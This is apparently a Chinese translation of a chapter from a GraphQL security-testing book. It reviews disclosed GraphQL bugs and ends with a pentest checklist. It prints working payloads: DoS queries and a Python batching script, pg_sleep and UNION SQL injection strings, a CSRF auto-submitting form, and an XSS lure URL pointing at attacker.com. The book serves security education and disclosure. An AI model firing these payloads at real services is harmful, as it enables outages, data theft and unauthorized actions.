  4. 再执行一次for循环 50 次,发送一个使用CreateStructuredScope字段的突变查询。该字段使用上一步构造的负载 10 次,实际上为字段的instruction参数提供了一个包含 150,000 个字符的值。

  5. 输出服务器返回响应所需的时间。这一值用于指示查询可能对服务器性能的影响。响应时间越慢,服务器性能退化的迹象就越明显。

以下是利用此漏洞时使用的突变片段。攻击者构建的大负载替换了突变中的$instruction占位符:

`--snip--`
mutation ($eligible_for_submission: Boolean, $instruction: String)
{
  createStructuredScope(input: {$eligible_for_submission, instruction: **$instruction**})
    {
 `--snip--`
    }
}
`--snip--`

向服务器发送此突变请求证明具有影响。黑客发送了几次此类请求后,GraphQL 服务器开始遇到困难,返回 HTTP 服务器错误500 Internal Server Error502 Bad Gateway504 Gateway Timeout,有效地造成了 DoS。500 级别的 HTTP 响应代码表示服务器端错误,表明代理或服务器出现问题。

记住,DoS 漏洞不一定需要完全使服务器离线才能有效。它们也可以消耗大量资源,导致显著的性能下降。

HackerOne 为黑客提供了 2,500 美元的奖励,感谢其负责任地披露了此报告。

正则表达式(CS Money)

第五章未覆盖的一种 DoS 形式使用正则表达式(regex)。正则表达式 DoS(ReDoS)通过迫使服务器处理一个恶意的正则表达式模式来耗尽服务器资源,该模式的评估会消耗大量时间和资源。这些漏洞并非特定于 API,尽管它们可以存在于所有 API 技术中,包括 REST、SOAP 和 GraphQL。

ReDoS 漏洞可以通过多种方式发生:

  • 客户端向服务器提供一个恶意的正则表达式模式作为输入。

  • 服务器包含一个正则表达式逻辑模式,当提供匹配的输入时,可能导致无限评估,而客户端提供了这样的输入。如果输入异常庞大,可能会导致 ReDoS。

这是一个可能容易受到 ReDoS 攻击的正则表达式模式示例:(a+)+。该模式可以匹配包含任意数量字母a的任何字符串,例如aaaaaaaaaaaaaaaaaaaa。如果客户端发送一个包含 100,000 个a字符的大型负载,服务器在评估该模式时可能会变得缓慢。

你可以使用在线正则表达式测试网站,如regex101.com,来查看某个特定表达式在实践中的表现,如图 10-1 所示。

图 10-1:在线正则表达式测试工具regex101.com

2020 年 10 月,一位名为 mvm 的道德黑客向 CS Money 的漏洞赏金计划报告了一个 GraphQL API 的 ReDoS 漏洞(hackerone.com/reports/1000567)。该黑客发现,GraphQL 的 search 对象接受一个 q(查询)参数。在他们的测试中,他们将一个 Unicode 空值(\u0000)作为参数值插入:

query {
  search(q: "**\u0000)**", lang: "en") {
 `--snip--`
}

对这个查询的响应中,GraphQL API 服务器返回了一个有趣的错误,揭示了识别 ReDoS 漏洞存在的一些关键信息:

"errors": [
    {
      "message": "value (?=.***\u0000**) must not contain null bytes"
 `--snip--`
    }
]

如你所见,q 参数中提供的字符串被插入到服务器上的正则匹配逻辑中,响应中以 (?=.* 字符串为前缀。服务器可能使用此参数在数据库中搜索相关数据。

方便的是,服务器通过其扩展启用了查询追踪。查询追踪 允许 GraphQL 服务器返回有助于调试的响应元数据,并提供有关查询性能的信息。响应中的追踪信息向客户端披露了三个重要字段(startTimeendTimeduration),揭示了服务器处理查询所需的时间:

"extensions": {
    "tracing": {
      "startTime": "02:07:55.251",
      "endTime": "02:07:55.516",
      "duration": 264270190,
 `--snip--`
    }
}

这些字段还表明,有时候看似无害的信息也能在渗透测试中帮助我们。时刻留意细节。

在识别潜在漏洞后,黑客使用了一个恶意的正则表达式模式,并将其设置为 q 参数的值:

query {
  search(q: "**[a-zA-Z0-9]+\\s?)+$|^([a-zA-Z0-9.'\\w\\W]+\\s?)+$\\**", lang: "en"){
 `--snip--`
 }
}

这个模式将匹配从 azAZ 以及 09 范围内的任何字符。

这里最重要的启示是,这种模式很可能会与应用程序后端数据库中的多个字符串匹配,从而导致服务器处理(并可能返回)大量数据。在他们的报告中,黑客分享了一个使用 GraphQL 查询的概念验证 cURL 命令。他们展示了,通过执行该命令 100 次,完全使 GraphQL 服务器瘫痪。

如你所见,恶意载荷可以使服务器瘫痪。我们强烈反对在没有公司明确授权的情况下向公司的生产 API 发送恶意载荷,因为如果公司未准备好处理恶意载荷,这可能会对业务产生负面影响。

公司为此报告提供了 250 美元的赏金。

循环内省查询(GitLab)

以下漏洞在 2019 年 7 月被报告给 GitLab(gitlab.com/gitlab-org/gitlab/-/issues/30096)。该漏洞利用了 GraphQL 内省查询中 typefield 字段之间的循环关系。

报告者 freddd 发现,通过使用 __schema 元字段调用 types,然后递归调用 fieldstype,可以触发 DoS 条件:

query {
  __schema {
    types {
      fields {
        type {
          fields {
            type {
 `--snip--`
            }
          }
        }
      }
    }
  }
}

该查询依赖于 API 上启用了自省功能。当自省被禁用时,通常无法直接调用__schema元字段。

尽管 GitLab 已实施查询复杂度检查,以缓解基于循环查询的 DoS 攻击,但该控制未应用于自省查询,导致其无意中暴露出漏洞。

利用这个漏洞也不需要黑客在 GraphQL API 上进行身份验证。缺乏身份验证使得这个漏洞更加严重,因为它降低了可以利用该漏洞的门槛。

字段重复的别名(Magento)

Magento 是互联网上最流行的电子商务平台之一,使用 GraphQL,并且在 2021 年 4 月,平台受到了一次 DoS 漏洞的影响。利用字段重复,攻击者可以在未进行身份验证的情况下消耗服务器资源。(Magento 允许未认证的客户端使用某些 GraphQL 对象,而对于其他对象则需要有效的身份验证会话。)

我们,这本书的作者,发现 Magento 没有保护自己免受重复字段恶意查询的影响。我们使用以下查询作为概念验证:

query {
  alias1: countries {
     full_name_english
     full_name_english # continues 1000s of times
 `--snip--`
  }
  alias2: countries {
 `--snip--`
  }
 alias3: countries {
 `--snip--`
  }
}

该查询使用了 GraphQL 别名来将重复查询批量处理为单个 HTTP 请求,这种技术允许攻击者向服务器发送非常复杂的查询。由于缺乏查询成本限制等安全控制,它有效地消耗了服务器的资源。

此后,Magento 在其平台中引入了许多 GraphQL 安全功能,如 GraphQL 查询复杂度限制和查询深度分析。图 10-2 显示了 Magento 在其 API 中实现的安全控制的默认值。

图 10-2:Magento 的查询复杂度和查询深度控制的默认值

如您所见,Magento 已实现 queryComplexity 值为 300queryDepth 值为 20,这意味着查询的复杂度不能超过 300,而循环查询的嵌套层数不能超过 20 层。

基于数组的字段重复批处理(WPGraphQL)

这个漏洞与我们之前讨论的字段重复漏洞非常相似。2021 年 4 月,WPGraphQL(一个用于 WordPress 的 GraphQL 插件,网址:www.wpgraphql.com)因缺乏适当的安全控制和不安全的默认配置而遭遇 DoS 漏洞。

WPGraphQL 插件为任何 WordPress 内容管理系统提供了一个生产就绪的 GraphQL API,并通过 WordPress 插件市场提供。图 10-3 展示了这个插件。

默认情况下,WPGraphQL 使得任何安装了该插件的 WordPress 实例都容易受到 DoS 攻击。首先,它允许客户端使用基于数组的批处理,将多个查询合并到一个请求中。此外,该插件在防止恶意查询方面的安全控制非常有限。第三,由于 WordPress 是一个博客平台,通常会为未经认证的客户端(例如博客读者)提供服务,因此 API 的某些功能可以在没有特殊权限的情况下访问。

图 10-3:WordPress 的 WPGraphQL 插件

我们自己发现了这个漏洞,并发布了以下的利用代码:

`--snip--`
FORCE_MULTIPLIER = int(sys.argv[2])
CHAINED_REQUESTS = int(sys.argv[3])

`--snip--`
queries = []

payload = 'content \n comments { \n nodes { \n content } }' * FORCE_MULTIPLIER
query = {'query':'query { \n posts { \n nodes { \n ' + payload + '} } }'}

for _ in range(0, CHAINED_REQUESTS):
  queries.append(query)

r = requests.post(WORDPRESS_URL, json=queries)
print('Time took: {}'.format(r.elapsed.total_seconds()))

这段代码设置了两个变量,基本上定义了单个 HTTP 请求的复杂度:FORCE_MULTIPLIER 是一个整数变量,它会重复选择集中的字段,而 CHAINED_REQUESTS 则表示该漏洞将向批处理数组中添加的元素数量。

接下来,queries 变量被设置为一个空数组。这个变量将保存最终发送给 WPGraphQL 的完整恶意载荷。代码随后创建了一个特殊查询,该查询将被 FORCE_MULTIPLIER 变量分配的整数值重复,并将其构造成一个用于 HTTP 请求的查询 JSON 对象。接下来,一个循环执行 N 次,其中 NCHAINED_REQUESTS 的值。如果 CHAINED_REQUESTS 设置为 100,循环将执行 100 次,并创建一个包含 100 个元素的数组。最后,漏洞会发送 HTTP 请求并计算服务器处理这个昂贵查询所需的时间。

简而言之,如果 FORCE_MULTIPLIERCHAINED_REQUESTS 都设置为 100,最终的数组将包含 100 个查询,每个查询都包含 100 个重复的字段。如果这两个变量设置为 10,000,想象一下处理这样一个查询会有多么昂贵。

循环片段(Agoo)

我们在 2022 年 5 月发现了一个 Ruby 基于 GraphQL 的服务器实现 Agoo 中的循环片段漏洞。该漏洞被标识为 CVE-2022-30288,问题出在 Agoo 服务器层面没有对传入查询进行验证检查。缺乏验证意味着该服务器不符合规范,也意味着发送到 Agoo 服务器的查询可能通过多种方式将其摧毁。让我们看看如何利用循环片段来做到这一点。

作为第一步,我们想检查是否默认启用了 introspection(自省),所以我们执行了以下查询:

query Introspection {
  __schema {
    directives {
      name
    }
  }
}

这个查询很简单;它返回架构中所有指令的名称。当你还不清楚 GraphQL 服务器支持哪些操作时,这是一个非常好的查询。

接下来,我们使用引用查询的片段构建了一个循环查询:

query CircularFragment {
  __schema {
❶ ...A
  }
}

fragment A on __Schema {
  directives {
    name
  }
❷ ...B
}

fragment B on __Schema {
❸ ...A
}

我们在__Schema类型上创建了两个片段。第一个片段A使用了directives顶层字段,并带有name字段。然后,在❷处调用(或导入)片段B。片段B在❸处包含...A,这再次调用片段A。此时,我们得到了两个循环片段。现在,为了执行它们,我们需要在查询中使用其中一个。在❶处,你可以看到我们如何通过在__schema元字段中调用...A来使用片段A

此时,循环条件开始,且永无止境!对 Agoo 运行此查询将导致服务器冻结,并且将无法继续处理查询。唯一的恢复方法是重新启动 Agoo 的服务器进程。

其中一些拒绝服务(DoS)漏洞出现在一些大品牌的产品中,这些产品已经使用 GraphQL 一段时间,证明没有人能够免疫漏洞。

授权破坏

在本节中,我们将探讨影响 GraphQL API 授权控制的漏洞。这类问题最终可能导致数据泄露,并允许未经授权访问敏感信息。

允许已停用用户访问数据(GitLab)

在 2021 年 8 月向 GitLab 报告的一个公开漏洞中,一名黑客(化名 Joaxcar)利用已停用的用户账户,通过身份验证 GraphQL API,执行了不该被允许的操作 (hackerone.com/reports/1192460)。

已停用的用户账户应在重新激活之前被拒绝访问。即使用户有有效的 API 密钥,只要用户被停用,应用程序也应拒绝其访问尝试,无论是通过控制台直接访问还是通过 API 密钥。

为了理解这一风险,假设某个员工去度假,而安全团队的政策是在员工返回办公室之前禁用所有员工账户。现在,假设该员工的密码泄露到互联网上,且有威胁行为者获得了这些凭据。在我们描述的漏洞场景中,威胁行为者将能够调用应用程序,即使该用户的账户已经停用。若有适当的身份验证和授权控制,情况本不应发生。

下面是 Joaxcar 用来利用此漏洞的操作:

  1. 作为管理员,创建了一个带 API 密钥的次级用户

  2. 仍然以管理员身份,停用了新创建的用户

  3. 使用停用用户的 API 密钥调用了 GraphQL API

  4. 确认他们成功使用停用的用户凭证执行了操作

他们在测试中使用了以下 GraphQL 查询:

mutation {
    labelCreate(input:{title:"deactivated", projectPath:"test1/test1"}){
        errors
        label {
            id
        }
    }
}

该查询使用了labelCreate对象,并带有一个输入类型参数,该参数接受titleprojectPath。换句话说,这个漏洞允许道德黑客利用一个已停用的账户创建标签字段。很可能,这个漏洞还允许进行其他操作,而不仅仅是创建标签。

允许没有特权的员工修改客户电子邮件(Shopify)

以下漏洞是用户 ash_nz 在 2021 年 9 月报告给 Shopify 漏洞赏金计划的(hackerone.com/reports/980511)。Shopify 是一家电子商务公司,长期以来在 GraphQL 领域一直处于领先地位,开发了许多有用的开源工具,发布了关于 GraphQL 最佳实践的文章等。

该漏洞允许 ash_nz 通过一个没有特权的店铺员工账户修改客户的电子邮件,进而通过专用的 GraphQL API 突变更新电子邮件对象。以下是报告中看到的突变:

mutation emailSenderConfigurationUpdate ($input:EmailSenderConfigurationUpdateInput!) {
    emailSenderConfigurationUpdate(input:$input) {
        emailSenderConfiguration {
            id
        }
        userErrors {
            field
            message
        }
    }
 }

该黑客将客户的电子邮件传递给突变的input参数,并将其发送到 GraphQL API 服务器,尽管 API 调用者没有适当的权限,但服务器仍更新了客户的电子邮件。

这是一个相当简单的漏洞,但识别它确实需要测试多个假设和边缘情况。始终在不同的权限级别下评估 API,并尝试进行跨账户或跨用户访问,以发现授权问题。

这位黑客通过负责任地披露这个问题,从 Shopify 获得了$1,500 的赏金。

通过团队对象泄露允许黑客数量(HackerOne)

2018 年 4 月,一名名为 haxta4ok00 的道德黑客在 HackerOne 平台上发现了一个 GraphQL 授权问题,该问题导致了信息泄露漏洞(hackerone.com/reports/342978)。

该黑客发现,通过使用 HackerOne 的 GraphQL API 中的team对象进行查询,他们可以访问一个本不应访问的受限字段。team对象允许查询 HackerOne 平台上的项目,并返回诸如idname等信息。

黑客还发现,当指定whitelisted_hackers字段时,它会返回项目允许的黑客总数(total_count)。由于团队对象接受handle参数,它实际上允许根据handle字符串搜索项目。以下示例中,handlesecurity

query {
    team(handle:"security"){
        id
        name
        handle
        whitelisted_hackers {
            total_count
        }
    }
}

HackerOne 的审核团队确定,这个漏洞还可能让某人通过向handle参数提供不同的字符串来识别平台上其他非公开的项目。这些字符串可能与团队的handle匹配。查询的响应如下:

`--snip--`
"team":{
    "id":"Z2lkOi8vaGFja2Vyb25lL1RlYW0vMTM=",
    "name":"HackerOne",
    "handle":"security",
    "whitelisted_hackers":{
        **"total_count":30**
    }
}
`--snip--`

如你所见,泄露的信息性质并不十分敏感,但它可以用来推测程序是否为私密的,因此可以找到 HackerOne 的客户。

HackerOne 因该授权问题支付了 2500 美元的悬赏,因为它带来了信息泄露的影响。

阅读私人笔记(GitLab)

在 GitLab 上创建的议题可能包含仅限成员查看的私人笔记。2019 年 6 月,一位名为 ngalog 的道德黑客通过 HackerOne 报告了 CVE-2019-15576(hackerone.com/reports/633001),该报告显示,黑客可以通过 GitLab 的 GraphQL API 读取这些笔记,尽管在 REST API 中已正确限制了访问权限。

笔记可能包含敏感信息,例如关于重复问题、已移至其他项目的问题,甚至是项目代码。道德黑客使用以下查询来利用该漏洞:

query {
  project(fullPath:"username16/ci-test"){
    issue(iid:"1"){
      descriptionHtml
      notes {
        edges {
          node {
            bodyHtml
            system
            author {
              username
            }
            body
          }
        }
      }
    }
   }
  }

如你所见,issue对象与notes字段一起使用。这个notes字段允许访问其他字段,例如笔记的body、笔记的author等。下图图 10-4 来自 GitLab GraphQL API 文档,显示了可用字段的完整列表。

图 10-4:GitLab 关于笔记字段的文档

GitLab GraphQL API 的完整文档可以在docs.gitlab.com/ee/api/graphql/reference找到。

披露支付交易信息(HackerOne)

以下漏洞是在 2019 年 10 月报告给 HackerOne 的,影响了其自身的 GraphQL API(hackerone.com/reports/707433)。该漏洞允许黑客 msdian7 访问支付交易的总数量——这一信息原本应为机密,仅授权方可访问。

使用的 GraphQL 查询如下所示:

query ($handle_0: String!, $size_1: ProfilePictureSizes!) {
  team(handle: $handle_0) {
    id
    name
    about
    profile_picture(size: $size_1)
    offers_swag
    offers_bounties
    base_bounty
    **payment_transactions** {
      **total_count**
    }
   }
  }
}

支付数据不应成为公开信息。这个漏洞通过使用未经授权的会话访问payment_transactions字段中的total_count字段,从而有效地提供了对 HackerOne 平台上其他漏洞悬赏程序交易的洞察。

信息泄露

在本节中,我们将回顾公开披露的漏洞,这些漏洞仅导致了信息泄露问题。在本章之前讨论的一些问题也导致了信息泄露,但这些问题源于其他漏洞,例如访问控制机制破坏。

枚举 GraphQL 用户(GitLab)

2021 年,Rapid7 在 GitLab 的社区版和企业版中发现了 CVE-2021-4191 漏洞。该漏洞允许未经身份验证的攻击者访问在私有 GitLab 实例中,已特定限制其用户注册界面的用户信息。

例如,以下查询返回有关 GitLab 实例中用户的信息,例如他们的姓名、用户名和 ID:

query {
  users {
    nodes {
      id
      name
      username
    }
  }
}

除了用户的姓名和用户名外,该漏洞还影响了诸如电子邮件、位置、用户权限、组成员身份、账户状态和头像等字段。获取这些关于用户的丰富信息有多个用途:

  • 识别待攻击账户。 知道用户名和电子邮件地址让攻击者能够有针对性地攻击特定账户。获取用户电子邮件还使得攻击者能够转向其他攻击方式,如社交工程,通过向用户发送钓鱼邮件进行攻击。

  • 识别可用的组。 该漏洞允许攻击者通过用户的组成员身份推断出运行 GitLab 的公司信息。组成员身份可以揭示出诸如收购、子公司、其他公司分支、公司运营的地区等信息。

  • 识别个人身份。 该漏洞允许访问用户的头像,这可能帮助攻击者在 GitLab 以外的平台上针对特定用户。

  • 识别账户状态。 了解账户的状态(是禁用还是启用)可以使得暴力破解等攻击更加有效;攻击者可以仅针对处于启用状态的账户,从而优化攻击效果。

这个漏洞特别有趣,因为它的利用方式非常简单直接。其能够在未认证的情况下执行,也大大增加了其严重性。

通过 WebSocket 访问 Introspection 查询(Nuri)

这份报告非常有趣且独特。在 2020 年 4 月,一位名为 zerodivisi0n 的道德黑客披露了 Nuri 的 API 中的一个漏洞,该漏洞导致通过 introspection 查询泄露了模式信息(hackerone.com/reports/862835)。这个 GraphQL API 使用 WebSocket 作为传输协议,而非 HTTP。

在之前的章节中,你学习了在订阅操作的上下文中,GraphQL 和 WebSocket 的使用;客户端可以订阅感兴趣的特定事件,通过 WebSocket 协议获取实时信息。一些 GraphQL 库,例如 graphql-wsgithub.com/enisdenjo/graphql-ws),不仅支持通过 WebSocket 发送订阅请求,还支持查询和变更操作。

报告的漏洞使得黑客能够通过 WebSocket 连接直接执行 introspection 查询。虽然报告没有详细说明 GraphQL 实现的设计细节,但在非 WebSocket 接口(例如通过 HTTP 发送的查询操作)上,introspection 被禁用。

通过 WebSocket 客户端与服务器之间的消息进行 introspection 查询,可能类似于以下内容:

{"type":"start","payload":{"query":"query Introspection { __schema {...} }"}}

通过 WebSocket 发送的查询和变更操作目前并不常见。你更可能看到通过 WebSocket 传输的 GraphQL 订阅操作,但随着 GraphQL 趋势的演变,未来这种情况可能会有所变化。

注入

以下公开披露的 GraphQL 漏洞导致了应用程序注入缺陷。第八章讲解了注入以及如果被利用它们会有多严重。

GET 查询参数中的 SQL 注入(HackerOne)

在 2018 年 11 月,Jobert 发现了 HackerOne 的 GraphQL 生产端点中的 SQL 注入漏洞(hackerone.com/reports/435066)。Jobert 发现传递给 HackerOne GraphQL /graphql端点的一个非标准参数,embedded_submission_form_uuid,其内容如下所示:

/graphql?**embedded_submission_form_uuid**=value

这个 URL 参数在 GraphQL API 中并不常见,你更可能看到如下所示的参数:

  1. query

  2. variables

  3. operationName

你应该已经熟悉这些内容:query的值是完整的 GraphQL 查询,variables是传递给查询的附加数据(如参数值),而operationName是操作的名称。Jobert 能够识别出传递给自定义参数的值在后台未进行检查,从而有效地允许他们注入 SQL 命令。

HackerOne 的分诊团队共享了负责处理 GraphQL 参数的 Ruby 代码,我们在这里修改了代码,以便更清晰地展示问题:

unless database_parameters_up_to_date
  safe_query = ''

❶ new_parameters = {"embedded_submission_form_uuid":"PAYLOAD"}

  new_parameters.each ❷ do |key, value|
      safe_query += "SET SESSION #{key} TO #{value};"
  end

  begin
      # safe_query ="SET SESSION embedded_submission_form_uuid TO PAYLOAD"
      connection.query(safe_query)
  rescue ActiveRecord::StatementInvalid => e
      raise e unless e.cause.is_a? PG::InFailedSqlTransaction
  end

end

new_parameters变量❶是一个哈希映射,包含自定义的embedded_submission_form_uuid URL 参数及其值(该值由客户端控制)。在❷处,循环对分配给变量的键和值进行字符串插值,有效地将参数及其值组合成一个字符串。然后,它将这个字符串与SET SESSION SQL 命令结合在一起。

新的 SQL 命令最终被赋值给safe_query变量,此时攻击者控制了该变量,并且没有进行任何检查。我们用注释突出显示了被赋值给该变量的内容:GET 参数embedded_submission_form_uuid的键及其值。最终,变量被转化为 SQL 查询并执行。GraphQL 参数也不会自动进行清理,这也导致了 SQL 注入漏洞的产生。

Jobert 构造了一个特殊的 cURL 请求来验证注入:

time curl -X POST https://hackerone.com/graphql\?embedded_submission_form_uuid\=
1%27%3BSELECT%201%3BSELECT%20**pg_sleep**\(**10**\)%3B--%27

0.02s user 0.01s system 0% cpu **10**.557 total

此 cURL 请求的 URL 解码版本如下所示:

/graphql?embedded_submission_form_uuid=**1';SELECT 1;SELECT pg_sleep\(10\);--'**

该请求使用了一种基于时间的 SQL 注入技术(在第八章中讲解),通过使用 PostgreSQL 命令pg_sleep引入了服务器处理的10秒时间延迟。攻击者通过使用 Linux time命令跟踪服务器响应请求的时间。该请求完成用了 10.557 秒。

该技术不仅确认了漏洞的存在,还避免了意外泄露敏感信息或可能向数据库发送危险命令,造成数据丢失的风险。

对象参数中的 SQL 注入(Apache SkyWalking)

Apache SkyWalking 是由 Apache 软件基金会创建的用于微服务和云原生架构的性能监控平台。2020 年 6 月,它出现了一个通过传递值到 GraphQL 字段参数引入的 SQL 注入漏洞。该漏洞被分配为 CVE-2020-9483。

SkyWalking 可以与各种存储后端一起工作,如 H2、OpenSearch、PostgreSQL 和 TiDB。一位名为 Jumbo-WJB 的黑客发现,当 SkyWalking 与 H2 或 MySQL 存储后端结合使用时,通过 getLinearIntValues 字段 metric 参数存在 SQL 注入(SQLi)漏洞。

Jumbo-WJB 发布了针对该漏洞的利用工具,构造了一个特殊的载荷,在 GraphQL 查询中滥用该漏洞实现 SQL 注入。在以下示例查询中,可以看到传递给 metric 参数的 id 值包含了 SQL 查询语法:

query SQLi($d: Duration!) {
  getLinearIntValues(metric:
{name: "all_p99", id: "**') UNION SELECT 1,CONCAT('~','9999999999','~')--**"},
duration: $d) {
    values {
      value
    }
  }
}

metric 参数期望一个对象,其中包含诸如 idname 等键。漏洞似乎出现在 id 键上,该键在插入到 H2 或 MySQL 数据库之前没有进行过滤。

通过查看包含修复的 SkyWalking GitHub 仓库中的 pull request,我们可以大致了解存在漏洞的代码区域(图 10-5)。

图 10-5:Apache SkyWalking 的漏洞代码

getLinearIntValues 方法接受一些参数,如 tableNamevalueCNameids(第 110 行),并使用 Java 的 StringBuilder(第 112 行)构建字符串。然后使用一个循环遍历传递给 ids 参数的值,并通过连接它们并使用单引号装饰它们来构建一个字符串(第 113 至 118 行)。最终构建的字符串未经过滤,直接作为 SQL 查询的一部分使用(第 123 至 125 行)。

很可能 metric 对象的 id GraphQL 参数会直接插入到 ids 列表中,因此允许注入 SQL 命令。

跨站脚本(GraphQL Playground)

CVE-2021-41249 是一个影响 GraphQL Playground IDE 的反射型 XSS 漏洞,该 IDE 提供了一个向 API 发送查询的接口,还包括原始的架构信息、API 功能文档以及来自内联 SDL 代码注释的信息。这些信息部分是通过一个自动发送的 introspection 查询填充的,该查询在 GraphQL Playground 加载时会自动发送。其他信息可能来自 GraphQL 服务器。

这个漏洞与本章之前讨论的漏洞有所不同。首先,它直接影响 API 消费者,因为成功的利用会在他们的浏览器中执行。其次,攻击者可以通过两种方式利用这个漏洞:

  • 通过入侵一个 GraphQL 服务器并修改其模式以包含危险字符。

  • 通过构建一个包含恶意负载实现的自定义 GraphQL 服务器。攻击者可以通过向受害者发送一个链接,诱使他们加载带有恶意服务器地址的 GraphQL Playground —— 例如,http://blackhatgraphql.com/graphql?endpoint=http://attacker.com/graphql?query={__typename}。如果受害者点击该链接,他们的浏览器将自动加载恶意 API,并代表他们执行一个查询,这会将负载注入正在其浏览器中运行的 Playground,并触发 XSS 攻击。

让我们探讨一下一个 GraphQL 服务器如何提供这些恶意负载。考虑以下来自 DVGA 的代码示例:

class **UserObject**(SQLAlchemyObjectType):
  class Meta:
    **name = "MyMaliciousTypeName"**
    model = User

这段代码表示 DVGA 的 UserObject 对象。开发者可以使用 name 变量将对象的名称重命名为自定义字符串,而如果攻击者已经入侵了服务器(或简单地托管了自己的版本),他们也可以做同样的事情。然后,这个名称将被渲染到 IDE 工具的文档部分中(图 10-6)。

图 10-6:在搜索中显示的恶意类型名称

当客户端打开 GraphQL Playground 查询 API 时,恶意的 JavaScript 负载将在他们的浏览器中渲染,在这种情况下,它会被注入到一个类型的名称中。

这个具体的漏洞存在于 Playground Node 包管理器(npm)包 graphql-playground-react 中。在 2021 年底,库的维护者采取了以下措施来修复这个漏洞:

  • 确保所有 HTML 文本都被转义

  • 确保类型名称符合 GraphQL 规范

  • 如果文档部分包含危险字符,则避免加载该部分

  • 确保用户生成的 HTML 被检查并变得安全

GraphQL IDEs 很流行,因此,如果你正在进行渗透测试并发现了旧版本的 GraphQL Playground,有可能它没有被修补,仍然容易受到这个 XSS 攻击。或者,你可以托管一个包含漏洞的 Playground 库的恶意 GraphQL 服务器,并诱使受害者访问它。

跨站请求伪造(GitLab)

在本书早些时候,我们介绍了如何识别允许基于 GET 的 GraphQL 查询的 API。现在,让我们看看黑客是如何滥用这个功能的。2021 年 3 月,黑客 az3z3l 向 GitLab 披露了一个 CSRF 漏洞(hackerone.com/reports/1122408)。

在通过 POST 方法处理 GraphQL 查询时,GitLab 使用了一个特殊的 X-CSRF-Token HTTP 头部来防止 CSRF 攻击。这个头部在每个请求或查询中包含一个唯一的令牌。

GET 请求通常不用于数据修改等操作,因此公司通常不会使用反 CSRF 令牌来保护它们。但由于 GitLab 支持使用 GET 查询,因此现有的 CSRF 保护机制没有应用于这些查询,尽管这些操作包括查询和 mutation,并且能够通过 API 执行更改。

道德黑客 az3z3l 提供了一个概念验证的 HTML 代码,利用了 CSRF 漏洞:

`--snip--`
<form action="https://gitlab.com/api/graphql/" id="csrf-form" method="GET"> ❶
<input name= ❷ "query" value="mutation CreateSnippet($input: CreateSnippetInput!) `--snip--`">
<input name= ❸ "variables" value='{"input":{"title":"Tesssst Snippet"} `--snip--`'>
</form>
`--snip--`
<script>document.getElementById("csrf-form").submit()</script> ❹

这段 HTML 代码定义了一个提交表单 ❶,其中包含两个输入项:query ❷,指定使用名为 CreateSnippet 的 mutation,和 variables ❸,其中包含通过输入类型传递的一些变量。代码在 ❹ 处使用 JavaScript 来代客户端提交表单,只要客户端加载包含该 HTML 页面的页面时。由于 API 没有检查 CSRF 保护头,因此这种操作是可能的。

漏洞利用中使用的 GraphQL mutation 如下:

mutation CreateSnippet($input: CreateSnippetInput!) {
  createSnippet(input: $input) {
    errors
    snippet {
      webUrl
      __typename
    }
 `--snip--`
  }
}

由于这个查询,客户端将以攻击者在 HTML 表单中包含的数据创建一个代码片段。这个 CSRF 漏洞可能让攻击者代表受害者执行敏感操作,比如访问他们的账户或数据。

总结

本章介绍了现实世界中漏洞和漏洞利用的公开披露。你了解了 GraphQL 实现中的某些设计选择如何造成漏洞,导致信息泄露、注入、授权问题等。我们还讨论了一些公司采取的缓解措施,以修补这些漏洞(如果可能的话)。

本书介绍了 GraphQL 查询 API 的新方法。正如你所学到的,这个框架有其独特的规则、优点和缺点。GraphQL 的设计引入了新的漏洞和安全挑战。与此同时,它仍然容易受到多年来存在的经典漏洞的影响。现在你已经知道如何在 GraphQL 中查找漏洞,我们建议你尝试在通过漏洞披露程序发布的 GraphQL 应用程序中寻找漏洞。谁知道呢,或许你还能赚上一两笔。

第十一章:GraphQL API 测试检查表

侦察

  1. 使用 Nmap 进行端口扫描,以识别开放的 Web 应用程序端口。

  2. 使用 Graphw00f 的检测模式扫描 Web 服务器的 GraphQL 端点。

  3. 使用 Graphw00f 的指纹识别模式进行服务器指纹识别。

  4. 在 MITRE 的 CVE 数据库中搜索服务器级别的漏洞。

  5. 在 GraphQL 威胁矩阵中搜索服务器级别的安全功能。

  6. 使用 EyeWitness 搜索 GraphQL IDE,如 GraphiQL Explorer 或 GraphQL Playground。

  7. 发送一个自省查询并记录所有可用的查询、变异和订阅。

  8. 使用 GraphQL Voyager 可视化自省查询响应。

拒绝服务

  1. 审查 API 的 SDL 文件以查找双向关系。

  2. 测试以下内容:

    1. 循环查询或变异

    2. 循环片段

    3. 字段重复

    4. 别名重载

    5. 指令重载

    6. 基于数组或别名的查询批处理

    7. 在 API 分页参数中如filtermaxlimittotal中的对象限制覆盖

信息泄露

  1. 在禁用自省时,使用字段填充提取 GraphQL 架构。

  2. 通过发送格式错误的查询来识别查询响应中的调试错误。

  3. 在 GraphQL 响应中识别查询追踪。

  4. 测试通过 GET 方法提交的任何 PII。

认证和授权

  1. 测试以下内容的访问权限:

    1. 没有认证头的 API

    2. 使用替代路径访问受限字段

    3. 使用 GET 和 POST 方法测试 API

  2. 测试 JSON Web Token(JWT)中的签名验证。

  3. 尝试暴力破解接受秘密(如令牌或密码)的变异或查询,使用以下方法:

    1. 基于别名的查询批处理

    2. 基于数组的查询批处理

    3. CrackQL

    4. Burp Suite

注入

  1. 测试以下内容的注入:

    1. 查询参数

    2. 字段参数

    3. 查询指令参数

    4. 操作名称

  2. 使用 SQLmap 自动测试 SQL 注入(SQLi)。

  3. 使用 Commix 自动测试操作系统命令注入(OS Command Injection)。

请求伪造

  1. 测试以下内容:

    1. HTTP 头或正文中反-CSRF 令牌的存在

    2. 可能的反-CSRF 令牌绕过

    3. 基于 GET 的查询的可用性

    4. 支持基于 GET 的变异

  2. 在 GET 上执行改变状态的变异。

  3. 在 POST 上执行改变状态的变异。

劫持请求

  1. 确认 GraphQL 服务器是否执行以下操作:

    1. 支持订阅

    2. 在 WebSocket 握手期间验证Origin

第十二章:GraphQL 安全资源

渗透测试技巧与窍门

实战黑客实验室

安全视频

posted @ 2025-11-26 09:17  绝不原创的飞龙  阅读(0)  评论(0)    收藏  举报